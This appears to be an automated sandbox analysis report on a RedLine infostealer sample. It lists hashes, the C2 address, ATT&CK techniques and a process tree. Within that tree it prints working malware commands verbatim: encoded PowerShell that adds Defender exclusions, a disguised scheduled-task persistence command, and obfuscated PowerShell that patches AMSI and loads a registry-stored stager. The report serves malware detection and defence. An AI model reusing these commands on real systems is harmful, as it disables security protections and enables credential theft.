redline | d1d622e31d20a69fc6fea0d98996607f37f6204bb02625bfb329cfdbb8edb6e6

General

Target

CryptoMiner.exe
Size

1.5MB
MD5

310eb5bd45ac9c5767d28e63ab64635b
SHA1

4ac0d40abb71e9fcff34c8f67511fc590f495f3e
SHA256

d1d622e31d20a69fc6fea0d98996607f37f6204bb02625bfb329cfdbb8edb6e6
SHA512

c2b0c3e890bb92f527960230c97c9c75ce50a2b9c4186c1dea87f7e55892702ac82805e5a038b8d32614790357c3ad113afe63e7f77cc99866801f4fdbac5e97

Score

10^/10

redline @watercloudrobot - oblako za 8500 evasion infostealer spyware trojan

Malware Config

Extracted

Family

redline

Botnet

@watercloudrobot - oblako za 8500

C2

65.21.213.209:32936

Attributes

auth_value
a14b52bba3a0ad35d4f66edae1132d42

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2308-137-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

fname.exefilename.exe

pid process

4916 fname.exe
5032 filename.exe

pid	process
4916	fname.exe
5032	filename.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

fname.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fname.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fname.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

fname.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fname.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

30 ip-api.com

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fname.exe

flow	ioc
30	ip-api.com

Suspicious use of SetThreadContext 3 IoCs

Processes:

CryptoMiner.exefname.exefilename.exe

description	pid	process	target process
PID 1496 set thread context of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 4916 set thread context of 3372	4916	fname.exe	AppLaunch.exe
PID 5032 set thread context of 4128	5032	filename.exe	nslookup.exe

Drops file in Windows directory 4 IoCs

Processes:

nslookup.exe

description	ioc	process
File created	C:\Windows\Tasks\nslooksvc32.job	nslookup.exe
File opened for modification	C:\Windows\Tasks\nslooksvc32.job	nslookup.exe
File created	C:\Windows\Tasks\nslooksvc64.job	nslookup.exe
File opened for modification	C:\Windows\Tasks\nslooksvc64.job	nslookup.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3980 schtasks.exe

pid	process
3980	schtasks.exe

Modifies data under HKEY_USERS 33 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

Processes:

CryptoMiner.exeInstallUtil.exepowershell.exepowershell.exefilename.exepowershell.EXE

pid	process
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
1496	CryptoMiner.exe
2308	InstallUtil.exe
2752	powershell.exe
2752	powershell.exe
4272	powershell.exe
4272	powershell.exe
5032	filename.exe
3296	powershell.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

InstallUtil.exepowershell.exepowershell.exeAppLaunch.exefilename.exepowershell.EXE

description	pid	process
Token: SeDebugPrivilege	2308	InstallUtil.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	3372	AppLaunch.exe
Token: SeDebugPrivilege	5032	filename.exe
Token: SeDebugPrivilege	3296	powershell.EXE

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

CryptoMiner.exeInstallUtil.exefname.exefilename.execmd.execmd.exe

description	pid	process	target process
PID 1496 wrote to memory of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 1496 wrote to memory of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 1496 wrote to memory of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 1496 wrote to memory of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 1496 wrote to memory of 2308	1496	CryptoMiner.exe	InstallUtil.exe
PID 2308 wrote to memory of 4916	2308	InstallUtil.exe	fname.exe
PID 2308 wrote to memory of 4916	2308	InstallUtil.exe	fname.exe
PID 2308 wrote to memory of 4916	2308	InstallUtil.exe	fname.exe
PID 2308 wrote to memory of 5032	2308	InstallUtil.exe	filename.exe
PID 2308 wrote to memory of 5032	2308	InstallUtil.exe	filename.exe
PID 4916 wrote to memory of 3372	4916	fname.exe	AppLaunch.exe
PID 4916 wrote to memory of 3372	4916	fname.exe	AppLaunch.exe
PID 4916 wrote to memory of 3372	4916	fname.exe	AppLaunch.exe
PID 4916 wrote to memory of 3372	4916	fname.exe	AppLaunch.exe
PID 4916 wrote to memory of 3372	4916	fname.exe	AppLaunch.exe
PID 5032 wrote to memory of 5056	5032	filename.exe	cmd.exe
PID 5032 wrote to memory of 5056	5032	filename.exe	cmd.exe
PID 5056 wrote to memory of 2752	5056	cmd.exe	powershell.exe
PID 5056 wrote to memory of 2752	5056	cmd.exe	powershell.exe
PID 5056 wrote to memory of 4272	5056	cmd.exe	powershell.exe
PID 5056 wrote to memory of 4272	5056	cmd.exe	powershell.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 4128	5032	filename.exe	nslookup.exe
PID 5032 wrote to memory of 3692	5032	filename.exe	cmd.exe
PID 5032 wrote to memory of 3692	5032	filename.exe	cmd.exe
PID 3692 wrote to memory of 3980	3692	cmd.exe	schtasks.exe
PID 3692 wrote to memory of 3980	3692	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\CryptoMiner.exe
"C:\Users\Admin\AppData\Local\Temp\CryptoMiner.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2308

C:\Users\Admin\AppData\Local\Temp\fname.exe
"C:\Users\Admin\AppData\Local\Temp\fname.exe"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4916

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3372

C:\Users\Admin\AppData\Local\Temp\filename.exe
"C:\Users\Admin\AppData\Local\Temp\filename.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5032

C:\Windows\SYSTEM32\cmd.exe
"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
4⤵
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272

C:\Windows\System32\nslookup.exe
C:\Windows\System32\nslookup.exe
4⤵
- Drops file in Windows directory
PID:4128

C:\Windows\SYSTEM32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\Admin\AppData\Roaming\Chrome\chrome.exe"
5⤵
- Creates scheduled task(s)
PID:3980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PWlwzOpEGmAE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tEiIjJmoSciYOd,[Parameter(Position=1)][Type]$vMkDPmGoiH)$ABDHXJeKNxT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$ABDHXJeKNxT.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$tEiIjJmoSciYOd).SetImplementationFlags('Runtime,Managed');$ABDHXJeKNxT.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$vMkDPmGoiH,$tEiIjJmoSciYOd).SetImplementationFlags('Runtime,Managed');Write-Output $ABDHXJeKNxT.CreateType();}$vNTuEsesNsuCM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$rUQSmEDBquWWRL=$vNTuEsesNsuCM.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cpSNBBQbIPDDsSXdqAW=PWlwzOpEGmAE @([String])([IntPtr]);$FIoFbfpBQsWcrFYfvJAdla=PWlwzOpEGmAE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hedHYzAQjTk=$vNTuEsesNsuCM.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$ZNkFglIBTKLrHr=$rUQSmEDBquWWRL.Invoke($Null,@([Object]$hedHYzAQjTk,[Object]('Load'+'LibraryA')));$TEeuGogTswUxtVKTZ=$rUQSmEDBquWWRL.Invoke($Null,@([Object]$hedHYzAQjTk,[Object]('Vir'+'tual'+'Pro'+'tect')));$zGgQbFC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZNkFglIBTKLrHr,$cpSNBBQbIPDDsSXdqAW).Invoke('a'+'m'+'si.dll');$fBNPwpIewLGNcUqqM=$rUQSmEDBquWWRL.Invoke($Null,@([Object]$zGgQbFC,[Object]('Ams'+'iSc'+'an'+'Buffer')));$RVfrlsOYEB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TEeuGogTswUxtVKTZ,$FIoFbfpBQsWcrFYfvJAdla).Invoke($fBNPwpIewLGNcUqqM,[uint32]8,4,[ref]$RVfrlsOYEB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$fBNPwpIewLGNcUqqM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TEeuGogTswUxtVKTZ,$FIoFbfpBQsWcrFYfvJAdla).Invoke($fBNPwpIewLGNcUqqM,[uint32]8,0x20,[ref]$RVfrlsOYEB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3296

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:BVnGoKMcGDsK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$yEjkpByyvfcMPF,[Parameter(Position=1)][Type]$CeQPSLwEjM)$VLmTdIwFDiK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$VLmTdIwFDiK.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$yEjkpByyvfcMPF).SetImplementationFlags('Runtime,Managed');$VLmTdIwFDiK.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$CeQPSLwEjM,$yEjkpByyvfcMPF).SetImplementationFlags('Runtime,Managed');Write-Output $VLmTdIwFDiK.CreateType();}$vNBxxwcBuFZCS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$uXKRCxheVHgqvH=$vNBxxwcBuFZCS.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cCJyJoesFTogQVOCpHc=BVnGoKMcGDsK @([String])([IntPtr]);$mSLtkjPaxJKaMFAahyeJeY=BVnGoKMcGDsK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RRUCObtLXGw=$vNBxxwcBuFZCS.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$urlorYnoOMYVDw=$uXKRCxheVHgqvH.Invoke($Null,@([Object]$RRUCObtLXGw,[Object]('Load'+'LibraryA')));$cZTCLxGupcPWRmOhm=$uXKRCxheVHgqvH.Invoke($Null,@([Object]$RRUCObtLXGw,[Object]('Vir'+'tual'+'Pro'+'tect')));$tXffLLE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($urlorYnoOMYVDw,$cCJyJoesFTogQVOCpHc).Invoke('a'+'m'+'si.dll');$ZvNBiNuhCXpMgQJxg=$uXKRCxheVHgqvH.Invoke($Null,@([Object]$tXffLLE,[Object]('Ams'+'iSc'+'an'+'Buffer')));$ykJADwzreJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cZTCLxGupcPWRmOhm,$mSLtkjPaxJKaMFAahyeJeY).Invoke($ZvNBiNuhCXpMgQJxg,[uint32]8,4,[ref]$ykJADwzreJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ZvNBiNuhCXpMgQJxg,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($cZTCLxGupcPWRmOhm,$mSLtkjPaxJKaMFAahyeJeY).Invoke($ZvNBiNuhCXpMgQJxg,[uint32]8,0x20,[ref]$ykJADwzreJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
1⤵
PID:1872

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{12e7766f-c2a3-43a0-bc28-c51fd76875f7}
1⤵
PID:1224

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\filename.exe
Filesize
4.7MB

MD5
c108ebdd14a2cf40e64411792987796a

SHA1
48f4f5376d0a571784fa03f89015c6a72f74998d

SHA256
f9bff1ac8e6c15dde928e87a8bf733006ca805d42302387b2c24e11e555b7ee6

SHA512
cfe4079d70f380ad98cc44cd9f05500ff8af79421ea32012b873425bbf045d2da8f9b7942941655fabb64e66d6cebddd174fa4c3c3c3abc54b120cad6e261e07

Download Submit
C:\Users\Admin\AppData\Local\Temp\filename.exe
Filesize
4.7MB

MD5
c108ebdd14a2cf40e64411792987796a

SHA1
48f4f5376d0a571784fa03f89015c6a72f74998d

SHA256
f9bff1ac8e6c15dde928e87a8bf733006ca805d42302387b2c24e11e555b7ee6

SHA512
cfe4079d70f380ad98cc44cd9f05500ff8af79421ea32012b873425bbf045d2da8f9b7942941655fabb64e66d6cebddd174fa4c3c3c3abc54b120cad6e261e07

Download Submit
C:\Users\Admin\AppData\Local\Temp\fname.exe
Filesize
3.5MB

MD5
c61f9a9059f8b8bd0e69f7df4cb09786

SHA1
70fffde0debf4559859617d49dc48c54df3c156d

SHA256
84a5a26f1748c3ad1f0b98c438908e8dc842eacc6390484527ee1fe7e56264f5

SHA512
6a838d9663517e1f89bf47f9ba85b72cd431f0d61c4db97e69516ffa313d8bdfc9f619eb51ead5215786e523b43cde3186300cf3bfab7408d580c66cd7d00453

Download Submit
memory/620-200-0x00007FFC9C0B0000-0x00007FFC9C0C0000-memory.dmp

Filesize
64KB

Download
memory/1224-192-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/1224-199-0x00007FFCDC030000-0x00007FFCDC225000-memory.dmp

Filesize
2.0MB

Download
memory/1224-196-0x00007FFCDC030000-0x00007FFCDC225000-memory.dmp

Filesize
2.0MB

Download
memory/1224-194-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/1224-197-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/1224-191-0x00000001400024C8-mapping.dmp

Download
memory/1224-190-0x0000000140000000-0x0000000140040000-memory.dmp

Filesize
256KB

Download
memory/1224-198-0x00007FFCDA170000-0x00007FFCDA22E000-memory.dmp

Filesize
760KB

Download
memory/1496-130-0x0000000000350000-0x00000000004D5000-memory.dmp

Filesize
1.5MB

Download
memory/1496-133-0x000000000EC60000-0x000000000ED81000-memory.dmp

Filesize
1.1MB

Download
memory/1496-132-0x000000000EC60000-0x000000000ED81000-memory.dmp

Filesize
1.1MB

Download
memory/1496-131-0x0000000002A41000-0x0000000002B77000-memory.dmp

Filesize
1.2MB

Download
memory/1872-185-0x00000000045C0000-0x0000000004626000-memory.dmp

Filesize
408KB

Download
memory/1872-184-0x0000000003DF0000-0x0000000003E12000-memory.dmp

Filesize
136KB

Download
memory/1872-183-0x0000000003E20000-0x0000000004448000-memory.dmp

Filesize
6.2MB

Download
memory/1872-182-0x0000000003720000-0x0000000003756000-memory.dmp

Filesize
216KB

Download
memory/1872-187-0x0000000004CC0000-0x0000000004CDE000-memory.dmp

Filesize
120KB

Download
memory/2308-147-0x0000000006BF0000-0x0000000006DB2000-memory.dmp

Filesize
1.8MB

Download
memory/2308-142-0x00000000051D0000-0x0000000005236000-memory.dmp

Filesize
408KB

Download
memory/2308-134-0x0000000000000000-mapping.dmp

Download
memory/2308-135-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2308-137-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2308-138-0x0000000005350000-0x0000000005968000-memory.dmp

Filesize
6.1MB

Download
memory/2308-139-0x0000000004DE0000-0x0000000004DF2000-memory.dmp

Filesize
72KB

Download
memory/2308-140-0x0000000004F10000-0x000000000501A000-memory.dmp

Filesize
1.0MB

Download
memory/2308-141-0x0000000004E40000-0x0000000004E7C000-memory.dmp

Filesize
240KB

Download
memory/2308-149-0x0000000006B70000-0x0000000006BC0000-memory.dmp

Filesize
320KB

Download
memory/2308-148-0x00000000072F0000-0x000000000781C000-memory.dmp

Filesize
5.2MB

Download
memory/2308-146-0x0000000006100000-0x000000000611E000-memory.dmp

Filesize
120KB

Download
memory/2308-145-0x0000000006470000-0x0000000006A14000-memory.dmp

Filesize
5.6MB

Download
memory/2308-143-0x0000000005CF0000-0x0000000005D66000-memory.dmp

Filesize
472KB

Download
memory/2308-144-0x0000000005E20000-0x0000000005EB2000-memory.dmp

Filesize
584KB

Download
memory/2752-170-0x00007FFCBD2D0000-0x00007FFCBDD91000-memory.dmp

Filesize
10.8MB

Download
memory/2752-169-0x00000205F34C0000-0x00000205F34E2000-memory.dmp

Filesize
136KB

Download
memory/2752-168-0x0000000000000000-mapping.dmp

Download
memory/3296-189-0x00007FFCDA170000-0x00007FFCDA22E000-memory.dmp

Filesize
760KB

Download
memory/3296-186-0x00007FFCBD2D0000-0x00007FFCBDD91000-memory.dmp

Filesize
10.8MB

Download
memory/3296-195-0x00007FFCDA170000-0x00007FFCDA22E000-memory.dmp

Filesize
760KB

Download
memory/3296-193-0x00007FFCDC030000-0x00007FFCDC225000-memory.dmp

Filesize
2.0MB

Download
memory/3296-188-0x00007FFCDC030000-0x00007FFCDC225000-memory.dmp

Filesize
2.0MB

Download
memory/3372-160-0x0000000000000000-mapping.dmp

Download
memory/3372-161-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/3692-179-0x0000000000000000-mapping.dmp

Download
memory/3980-180-0x0000000000000000-mapping.dmp

Download
memory/4128-175-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4128-178-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4128-177-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4128-176-0x0000000140002348-mapping.dmp

Download
memory/4128-181-0x0000000140000000-0x0000000140057000-memory.dmp

Filesize
348KB

Download
memory/4272-174-0x00007FFCBD2D0000-0x00007FFCBDD91000-memory.dmp

Filesize
10.8MB

Download
memory/4272-171-0x0000000000000000-mapping.dmp

Download
memory/4916-152-0x0000000000320000-0x000000000069E000-memory.dmp

